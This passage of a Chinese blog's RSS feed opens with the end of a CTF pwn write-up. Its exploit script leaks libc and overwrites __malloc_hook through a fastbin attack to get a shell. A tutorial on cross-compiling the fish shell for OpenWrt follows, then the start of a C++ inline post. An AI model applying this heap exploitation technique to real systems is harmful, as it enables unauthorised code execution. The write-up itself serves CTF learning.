class="string">&quot;256&quot;</span>, <span class="string">&quot;3&quot;</span>*<span class="number">256</span>) </span><br><span class="line">create(<span class="string">&quot;addnum&quot;</span>, <span class="string">&quot;123&quot;</span>, <span class="string">&quot;1024&quot;</span>, <span class="string">&quot;just add num&quot;</span>)</span><br><span class="line">create(<span class="string">&quot;addnum&quot;</span>, <span class="string">&quot;123&quot;</span>, <span class="string">&quot;1024&quot;</span>, <span class="string">&quot;just add num&quot;</span>)</span><br><span class="line">remove(<span class="string">&quot;111&quot;</span>)</span><br><span class="line">remove(<span class="string">&quot;222&quot;</span>) </span><br><span class="line"><span class="comment"># 虽然 unsorted bins 是 FIFO</span></span><br><span class="line"><span class="comment"># 但是实际上 111 那个 bin 会被 scanf 使用</span></span><br><span class="line"><span class="comment"># 然后 split 成一个 fastbin 和一个更小的，所以下次只有 222。</span></span><br><span class="line">create(<span class="string">&quot;444&quot;</span>, <span class="string">&quot;444&quot;</span>, <span class="string">&quot;1024&quot;</span>, <span class="string">&quot;whatever&quot;</span>)</span><br><span class="line">editdes(<span class="string">&quot;444&quot;</span>, <span class="string">&quot;256&quot;</span>, <span class="string">&quot;A&quot;</span>*<span class="number">7</span>)</span><br><span class="line">remove(<span class="string">&quot;&quot;</span>)</span><br><span class="line">display()</span><br><span class="line">sh.recvuntil(<span class="string">&quot;Description: &quot;</span>)</span><br><span class="line">tp =  sh.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">&#x27;\x00&#x27;</span>)</span><br><span class="line">mainarena_unsortedbin_address =u64(tp)</span><br><span class="line">libc_address=mainarena_unsortedbin_address - <span class="number">88</span> - <span class="number">0x3c4b20</span></span><br><span class="line"><span class="built_in">print</span> <span class="string">&quot;get libc at %s&quot;</span> % <span class="built_in">hex</span>(libc_address)</span><br><span class="line">malloc_hook_address = libc_address + libc.symbols[<span class="string">&quot;__malloc_hook&quot;</span>]</span><br><span class="line">shell = libc_address + gadget</span><br><span class="line"><span class="built_in">print</span> <span class="string">&quot;write shell %s at hook %s&quot;</span> % (<span class="built_in">hex</span>(shell), <span class="built_in">hex</span>(malloc_hook_address))</span><br><span class="line">fastbin_size = <span class="built_in">str</span>(<span class="number">0x60</span>)</span><br><span class="line">create(<span class="string">&quot;555&quot;</span>, <span class="string">&quot;555&quot;</span>, fastbin_size, <span class="string">&quot;e&quot;</span>)</span><br><span class="line">editdes(<span class="string">&quot;444&quot;</span>, fastbin_size, <span class="string">&quot;w&quot;</span>)</span><br><span class="line">display()</span><br><span class="line">remove(<span class="string">&quot;444&quot;</span>)</span><br><span class="line">display()</span><br><span class="line">remove(<span class="string">&quot;555&quot;</span>)</span><br><span class="line">display()</span><br><span class="line">remove(<span class="string">&quot;&quot;</span>)</span><br><span class="line">create(<span class="string">&quot;666&quot;</span>,<span class="string">&quot;666&quot;</span>,fastbin_size, p64(malloc_hook_address-<span class="number">0x23</span>))</span><br><span class="line">create(<span class="string">&quot;777&quot;</span>,<span class="string">&quot;777&quot;</span>, fastbin_size, p64(malloc_hook_address-<span class="number">0x23</span>))</span><br><span class="line">create(<span class="string">&quot;888&quot;</span>, <span class="string">&quot;888&quot;</span> , fastbin_size, <span class="string">&quot;whaterver&quot;</span>)</span><br><span class="line">create(<span class="string">&quot;999&quot;</span>, <span class="string">&quot;999&quot;</span> , fastbin_size,<span class="string">&#x27;a&#x27;</span>*<span class="number">0x13</span> + p64(shell))</span><br><span class="line">sh.sendlineafter(<span class="string">&quot;&gt;&gt;&gt;&quot;</span>, <span class="string">&quot;2&quot;</span>)</span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure><h2 id="后记">后记</h2><p>堆还是很有意思的，关键还是要摸熟 ptmalloc的许多细节，内功还有待提升呀。</p>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/CTF/">CTF</category>
      
      <category domain="http://blog.ihomura.cn/categories/CTF/%E6%B9%96%E6%B9%98%E6%9D%AF2018/">湖湘杯2018</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/WriteUp/">WriteUp</category>
      
      <category domain="http://blog.ihomura.cn/tags/PWN/">PWN</category>
      
      <category domain="http://blog.ihomura.cn/tags/heap/">heap</category>
      
      <category domain="http://blog.ihomura.cn/tags/fastbin/">fastbin</category>
      
      <category domain="http://blog.ihomura.cn/tags/unsorted-bin/">unsorted bin</category>
      
      
      <comments>http://blog.ihomura.cn/2018/12/02/WriteUp-%E6%B9%96%E6%B9%98%E6%9D%AF2018-contacts-plus/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>交叉编译的一点心得——把fish移植到OpenWrt上</title>
      <link>http://blog.ihomura.cn/2018/10/28/%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91%E7%9A%84%E4%B8%80%E7%82%B9%E5%BF%83%E5%BE%97%E2%80%94%E2%80%94%E6%8A%8Afish%E7%A7%BB%E6%A4%8D%E5%88%B0OpenWrt%E4%B8%8A/</link>
      <guid>http://blog.ihomura.cn/2018/10/28/%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91%E7%9A%84%E4%B8%80%E7%82%B9%E5%BF%83%E5%BE%97%E2%80%94%E2%80%94%E6%8A%8Afish%E7%A7%BB%E6%A4%8D%E5%88%B0OpenWrt%E4%B8%8A/</guid>
      <pubDate>Sun, 28 Oct 2018 14:07:59 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;其实很早就有把 fish 交叉编译到 OpenWrt
上的想法了，但是尝试过一次踩了坑就放弃了。前段时间折腾 golang
交叉编译的时候进一步学习了一波 GNU 工具链的用法，感觉对 GNU
的扭曲哲学又了解一点，于是又尝试着填这个坑，总算是成功把 fish
比较完整的移植到 OpenWrt 了，这里算是记录下踩的坑和一些心得吧。&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>其实很早就有把 fish 交叉编译到 OpenWrt上的想法了，但是尝试过一次踩了坑就放弃了。前段时间折腾 golang交叉编译的时候进一步学习了一波 GNU 工具链的用法，感觉对 GNU的扭曲哲学又了解一点，于是又尝试着填这个坑，总算是成功把 fish比较完整的移植到 OpenWrt 了，这里算是记录下踩的坑和一些心得吧。</p><span id="more"></span><h2 id="为什么不用-sdk">为什么不用 SDK</h2><p>众所周知，为了方便让现有的包能快速移植，OpenWrt 提供了专用的 SDK可以用于交叉编译，但是写 Makefile 和 patches实际上也蛮麻烦的，想了想还是决定交叉编译。</p><p>不过由于解释器一般是 musl 的实现而不是 gnu的，所以下面交叉编译后都是全静态链接。</p><h2 id="交叉编译器选择">交叉编译器选择</h2><p>由于目标是 arm 架构，交叉编译器有两种<code>arm-linux-gnueabi-gcc</code> 和<code>arm-linux-gnueabihf-gcc</code>，两者其实只有在浮点的处理上有所不同，前者的兼容性好一些，想了想fish 也没什么浮点需求所以选择了前者。</p><p>类似的，mips 也有好几种交叉编译器，反正编译前<code>cat /proc/cpuinfo</code> 看一看总是没错的。</p><h2 id="分离编译系统">分离编译系统</h2><p>现在我们系统中应该有两套编译系统了，一套适用于本机，一套适用于arm，那么编译的时候怎么让 make 知道我们的目标架构呢，这时候 configure的作用就体现出来了，比如 <code>./configure --help</code>可以看到很多有用的信息。</p><h3 id="环境变量">环境变量</h3><p>首先可以观察到一些关键性的环境变量</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">Some influential environment variables:</span><br><span class="line">  CC          C compiler command</span><br><span class="line">  CFLAGS      C compiler flags</span><br><span class="line">  LDFLAGS     linker flags, e.g. -L&lt;lib dir&gt; if you have libraries in a</span><br><span class="line">              nonstandard directory &lt;lib dir&gt;</span><br><span class="line">  CPPFLAGS    C/C++ preprocessor flags, e.g. -I&lt;include dir&gt; if you have</span><br><span class="line">              headers in a nonstandard directory &lt;include dir&gt;</span><br><span class="line">  CPP         C preprocessor</span><br><span class="line">  CXX         C++ compiler command</span><br><span class="line">  CXXFLAGS    C++ compiler flags</span><br><span class="line">  CXXCPP      C++ preprocessor</span><br><span class="line"></span><br><span class="line">Use these variables to override the choices made by `configure&#x27; or to help</span><br><span class="line">it to find libraries and programs with nonstandard names/locations.</span><br></pre></td></tr></table></figure><p>这里可以看到很关键的两个参数 CC 和 CXX表示用到的编译器，同时为了全静态链接，我还设置了<code>LDFLAGS=-static</code>，所以我在交叉编译的过程中都是以<code>env CC=arm-linux-gnueabi-gcc CXX=arm-linux-gnueabi-g++ LDFLAGS='-static'</code>开头的。</p><p>不过看起来 <code>--with-build-cc</code> <code>--with-build-cxx</code>等几个参数也应该能起到同样的效果。</p><h3 id="host-host-target">host, host, target</h3><p>除了通过 env 指定交叉编译器，还可以通过 host 参数指定目标架构</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">--build=BUILD           configure for building on BUILD [guessed]</span><br><span class="line">--host=HOST       build programs to run on HOST [BUILD]</span><br><span class="line">--target=TARGET   configure for building compilers for TARGET [HOST]</span><br></pre></td></tr></table></figure><p>这三个参数非常关键，其中 build 表示 toolchain 的架构，host表示编译出来目标的架构，target表示编译出来目标产生的目标的架构（一般用于编译toolchain，比如现在使用的交叉编译器）。</p><p>其中如果使用了 host 默认会开启交叉编译模式，所以我们只需要指定 host的值为 <code>arm-linux-gnueabi</code> 即可，其中 build 默认会采用<code>config.guess</code> 输出的结果，不过 GNU 文档推荐我们手动设置build 的值。</p><p>不过有个问题是，我们怎么知道这三个参数的可选值？</p><p>实际上这些参数的可选值也是从另一个脚本 config.sub 来的，比如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">~/f/ncurses-6.1 # ./config.sub arm-gnueabi-linux</span><br><span class="line">arm-gnueabi-linux-gnu</span><br></pre></td></tr></table></figure><p>也就是说对于 <code>arm-linux-gnueabi</code> 实际上是<code>arm-gnueabi-linux-gnu</code> 的缩写。</p><h3 id="prefix">prefix</h3><p>另外我们当然不希望编译出来的包被直接安装到适用本机的编译系统上，也就是说需要一个类似<code>chroot</code> 的设置，正好 configure 提供了类似的参数</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">By default, `make install&#x27; will install all the files in</span><br><span class="line">`/usr/local/bin&#x27;, `/usr/local/lib&#x27; etc.  You can specify</span><br><span class="line">an installation prefix other than `/usr/local&#x27; using `--prefix&#x27;,</span><br><span class="line">for instance `--prefix=$HOME&#x27;.</span><br><span class="line"></span><br><span class="line">--prefix=PREFIX         install architecture-independent files in PREFIX</span><br></pre></td></tr></table></figure><p>之前一次踩坑是因为 fish 依赖了libncurses，虽然可以成功交叉编译后者，但是因为不知道可以调 prefix导致编译 fish 的时候一直找不到编译好的库。</p><h2 id="编译依赖">编译依赖</h2><p>首先正如上面提到的，fish 依赖了 libncurses，虽然 libncurses 基本是linux必备的一个库，但是它并没有用于交叉编译的预编译版本，所以需要我们自己动手编译一个出来。</p><p>了解了上面交叉编译过程后其实就很简单了，指令如下</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">env CC=/usr/bin/arm-linux-gnueabi-gcc CXX=/usr/bin/arm-linux-gnueabi-g++ LDFLAGS=&#x27;-static&#x27; ./configure --build=x86_64-pc-linux-gnu --host=arm-gnueabi-linux --prefix=/usr/arm-linux-gnueabi</span><br><span class="line">make -j4</span><br><span class="line">make install</span><br></pre></td></tr></table></figure><p>但是这里有一个坑，在 <code>make install</code> 的时候，会提示 strip出错，看了下输出是因为使用了 <code>strip</code> 而不是<code>arm-gnueabi-strip</code>，wtf？</p><p>所以只能在 configure 的时候再加上一个<code>--disable-stripping</code> 了，没找到哪里能设置 strip，感觉是configure 哪里推导出了问题，所以第一步的 configure 应该是</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">env CC=/usr/bin/arm-linux-gnueabi-gcc CXX=/usr/bin/arm-linux-gnueabi-g++ LDFLAGS=&#x27;-static&#x27; ./configure --build=x86_64-pc-linux-gnu --host=arm-gnueabi-linux --prefix=/usr/arm-linux-gnueabi</span><br></pre></td></tr></table></figure><p>反正嫌大到时候可以手动 strip。</p><h2 id="编译fish">编译fish</h2><p>在第一步 configure 的时候会报错。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">checking for /proc/self/stat... configure: error: cannot check for file existence when cross compiling</span><br></pre></td></tr></table></figure><p>这是一个已知 issue，见 <ahref="https://github.com/fish-shell/fish-shell/issues/1067">#1067</a>，所以最好的办法就是vim 打开 configure 然后删除报错的那三行。</p><img src="/2018/10/28/%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91%E7%9A%84%E4%B8%80%E7%82%B9%E5%BF%83%E5%BE%97%E2%80%94%E2%80%94%E6%8A%8Afish%E7%A7%BB%E6%A4%8D%E5%88%B0OpenWrt%E4%B8%8A/1.png" class="" title="delete"><p>直接删除 else 和后面两行即可。</p><p>然后就是正常编译了，但是要注意的是 prefix 要改一下，因为稍后要放到OpenWrt 上。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">env CC=/usr/bin/arm-linux-gnueabi-gcc CXX=/usr/bin/arm-linux-gnueabi-g++ LDFLAGS=&#x27;-static&#x27; ./configure --build=x86_64-pc-linux-gnu --host=arm-gnueabi-linux --prefix=/path/to/targets --disable-stripping</span><br><span class="line">make -j4</span><br><span class="line">make install</span><br></pre></td></tr></table></figure><p>之后在 targets 下就可以看到 fish 所有生成的文件了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">~/f/f/targets # tree -d</span><br><span class="line">.</span><br><span class="line">├── bin</span><br><span class="line">├── etc</span><br><span class="line">│   └── fish</span><br><span class="line">│       └── conf.d</span><br><span class="line">└── share</span><br><span class="line">    ├── doc</span><br><span class="line">    │   └── fish</span><br><span class="line">    ├── fish</span><br><span class="line">    │   ├── completions</span><br><span class="line">    │   ├── functions</span><br><span class="line">    │   ├── groff</span><br><span class="line">    │   ├── man</span><br><span class="line">    │   │   └── man1</span><br><span class="line">    │   ├── tools</span><br><span class="line">    │   │   └── web_config</span><br><span class="line">    │   │       ├── js</span><br><span class="line">    │   │       ├── partials</span><br><span class="line">    │   │       └── sample_prompts</span><br><span class="line">    │   ├── vendor_completions.d</span><br><span class="line">    │   ├── vendor_conf.d</span><br><span class="line">    │   └── vendor_functions.d</span><br><span class="line">    ├── locale</span><br><span class="line">    │   ├── de</span><br><span class="line">    │   │   └── LC_MESSAGES</span><br><span class="line">    │   ├── en</span><br><span class="line">    │   │   └── LC_MESSAGES</span><br><span class="line">    │   ├── fr</span><br><span class="line">    │   │   └── LC_MESSAGES</span><br><span class="line">    │   ├── nb</span><br><span class="line">    │   │   └── LC_MESSAGES</span><br><span class="line">    │   ├── nn</span><br><span class="line">    │   │   └── LC_MESSAGES</span><br><span class="line">    │   ├── pl</span><br><span class="line">    │   │   └── LC_MESSAGES</span><br><span class="line">    │   ├── pt_BR</span><br><span class="line">    │   │   └── LC_MESSAGES</span><br><span class="line">    │   ├── sv</span><br><span class="line">    │   │   └── LC_MESSAGES</span><br><span class="line">    │   └── zh_CN</span><br><span class="line">    │       └── LC_MESSAGES</span><br><span class="line">    ├── man</span><br><span class="line">    │   └── man1</span><br><span class="line">    └── pkgconfig</span><br></pre></td></tr></table></figure><p>这时候由于之前没有 strip 而且还是静态链接，因此 binary可能相当大，所以我们选择手动 strip 一下</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd bin</span><br><span class="line">arm-gnueabi-linux-strip *</span><br></pre></td></tr></table></figure><p>strip 前大概是 20+M，strip 后就只有 2M 左右了。</p><p>最后传到 OpenWrt 的相应目录即可，其中 share 需要手动建立。</p><h2 id="openwrt-的-terminfo">OpenWrt 的 terminfo</h2><p>但是到这里还没有结束，如果此时在 OpenWrt 中直接运行 fish会出现下面的错误</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">root@LEDE:~# fish</span><br><span class="line">&lt;W&gt; fish: Could not set up terminal.</span><br><span class="line">&lt;W&gt; fish: TERM environment variable set to &#x27;xterm-256color&#x27;.</span><br><span class="line">&lt;W&gt; fish: Check that this terminal type is supported on this system.</span><br><span class="line">&lt;W&gt; fish: Using fallback terminal type &#x27;ansi&#x27;.</span><br><span class="line">&lt;W&gt; fish: Could not set up terminal using the fallback terminal type &#x27;ansi&#x27;.</span><br><span class="line">&lt;W&gt; fish: Using fallback terminal type &#x27;dumb&#x27;.</span><br><span class="line">&lt;W&gt; fish: Could not set up terminal using the fallback terminal type &#x27;dumb&#x27;.</span><br><span class="line">Welcome to fish, the friendly interactive shell</span><br></pre></td></tr></table></figure><p>意思是没有找到可用的 term，但是 <code>ls /usr/share/terminfo</code>显然是有的，这时候有两种解决办法</p><h3 id="设置-terminfo">设置 TERMINFO</h3><p>直接 <code>env TERMINFO=/usr/share/terminfo fish</code>就可以正常使用 fish 了。</p><h3 id="链接一个-terminfo">链接一个 terminfo</h3><p>也可以选择 <code>ln -s /usr/share/terminfo ~/.terminfo</code>，这样fish 启动的时候就可以找到 terminfo 了。</p><p>其实这两个解决方法殊途同归，相同点就是都坑了我很久。</p><h2 id="缺失的依赖">缺失的依赖</h2><h3 id="hostname">hostname</h3><p>解决 terminfo 的问题后，启动 fish 还是会出错，因为没有 hostname这个命令。</p><p>hostname 这个指令在一般 linux 发行版都是自带的，但是 OpenWrt中没有，所以直接写个脚本替代。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">~ # cat /bin/hostname</span><br><span class="line">#!/bin/sh</span><br><span class="line">echo `uname -n`</span><br></pre></td></tr></table></figure><h3 id="apropos">apropos</h3><p>由于 OpenWrt 删掉了 man pages 因此没有 man 和 apropos 指令，导致 fish的 tab 功能可能出问题，所以直接写个脚本替代。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">~ # cat /bin/apropos</span><br><span class="line">#!/bin/sh</span><br><span class="line">echo &quot;$1: nothing appropriate&quot;</span><br></pre></td></tr></table></figure><h3 id="whoami">whoami</h3><p>同 hostname，脚本替代</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">~ # cat /bin/whoami</span><br><span class="line">#!/bin/sh</span><br><span class="line">echo `id -un`</span><br></pre></td></tr></table></figure><p>到这里 fish 基本可以正常运行在 OpenWrt上了，如果还有什么缺失的指令都可以用类似的方法解决。</p><h2 id="小结">小结</h2><p>在学习交叉编译的时候骂傻逼GNU，但是在用脚本代替缺失指令的时候又不得不说 GNU面向字符串编程的哲学真香，反正终于能抛弃辣鸡a壳用上鱼壳咯，我爱贝壳（逃</p><p>总之 Google 和 Man pages 是真的很重要。</p><p>最后预编译版本放在了 <ahref="https://github.com/wtdcode/fish-shell-OpenWrt">Github</a>上，欢迎提 issue 和 pr。</p><h2 id="参考资料">参考资料</h2><ul><li><ahref="https://github.com/fish-shell/fish-shell/blob/master/README.md">fish-README</a></li><li><ahref="https://invisible-island.net/ncurses/man/curs_terminfo.3x.html">curs_terminfo</a></li><li><a href="https://github.com/fish-shell/fish-shell/issues/1067">fishcannot be crosscompiled</a></li><li><ahref="https://www.gnu.org/software/autoconf/manual/autoconf-2.65/html_node/Specifying-Target-Triplets.html">Specifyingtarget triplets</a></li><li><a href="https://github.com/NixOS/nixpkgs/issues/36146">Could set upterminal</a></li><li><a href="https://github.com/fish-shell/fish-shell/pull/3109">putcurses/terminfo vars into the environment</a></li><li><a href="https://github.com/fish-shell/fish-shell/issues/1060">SSHto machine with fish gives: `fish: Could not set up terminal`</a></li><li><ahref="https://stackoverflow.com/questions/5139403/whats-the-difference-of-configure-option-build-host-and-target">What'sthe difference of “./configure” option “--build”, “--host” and“--target”?</a></li></ul>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/%E7%BB%8F%E9%AA%8C/">经验</category>
      
      <category domain="http://blog.ihomura.cn/categories/%E7%BB%8F%E9%AA%8C/Linux/">Linux</category>
      
      <category domain="http://blog.ihomura.cn/categories/%E7%BB%8F%E9%AA%8C/Linux/%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91/">交叉编译</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/%E5%BF%83%E5%BE%97%E4%BD%93%E4%BC%9A/">心得体会</category>
      
      <category domain="http://blog.ihomura.cn/tags/Linux/">Linux</category>
      
      <category domain="http://blog.ihomura.cn/tags/GNU/">GNU</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91/">交叉编译</category>
      
      
      <comments>http://blog.ihomura.cn/2018/10/28/%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91%E7%9A%84%E4%B8%80%E7%82%B9%E5%BF%83%E5%BE%97%E2%80%94%E2%80%94%E6%8A%8Afish%E7%A7%BB%E6%A4%8D%E5%88%B0OpenWrt%E4%B8%8A/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>C++ 中的 inline ——由 LNK2001 和 LNK2019 引发的思考</title>
      <link>http://blog.ihomura.cn/2018/09/15/C-%E4%B8%AD%E7%9A%84inline/</link>
      <guid>http://blog.ihomura.cn/2018/09/15/C-%E4%B8%AD%E7%9A%84inline/</guid>
      <pubDate>Sat, 15 Sep 2018 14:42:20 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;起因&quot;&gt;起因&lt;/h2&gt;
&lt;p&gt;最近在填坑(CTBX)的时候发现以前 Log 是这样写的&lt;/p&gt;
&lt;figure class=&quot;highlight cpp&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;// Logging.h&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;// Declaration&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;namespace&lt;/span&gt; logging&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;type&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;debug&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;(&lt;span class=&quot;type&quot;&gt;const&lt;/span&gt; std::string&amp;amp;, &lt;span class=&quot;type&quot;&gt;const&lt;/span&gt; std::string&amp;amp;)&lt;/span&gt;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;type&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;warning&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;(&lt;span class=&quot;type&quot;&gt;const&lt;/span&gt; std::string&amp;amp;, &lt;span class=&quot;type&quot;&gt;const&lt;/span&gt; std::string&amp;amp;)&lt;/span&gt;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;comment&quot;&gt;// and more&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;// Logging.cpp&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;// Implementation&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;namespace&lt;/span&gt; logging&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;type&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;debug&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;(&lt;span class=&quot;type&quot;&gt;const&lt;/span&gt; std::string&amp;amp; tag, &lt;span class=&quot;type&quot;&gt;const&lt;/span&gt; std::string&amp;amp; msg)&lt;/span&gt;&lt;/span&gt;&amp;#123; &lt;span class=&quot;comment&quot;&gt;/* one-line implementation */&lt;/span&gt; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;type&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;warning&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;(&lt;span class=&quot;type&quot;&gt;const&lt;/span&gt; std::string&amp;amp; tag, &lt;span class=&quot;type&quot;&gt;const&lt;/span&gt; std::string&amp;amp; msg)&lt;/span&gt;&lt;/span&gt;&amp;#123; &lt;span class=&quot;comment&quot;&gt;/* one-line implementation */&lt;/span&gt; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;comment&quot;&gt;// and more&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;我一看，这实现不就一行嘛，遂改成了&lt;/p&gt;</description>
      
      
      
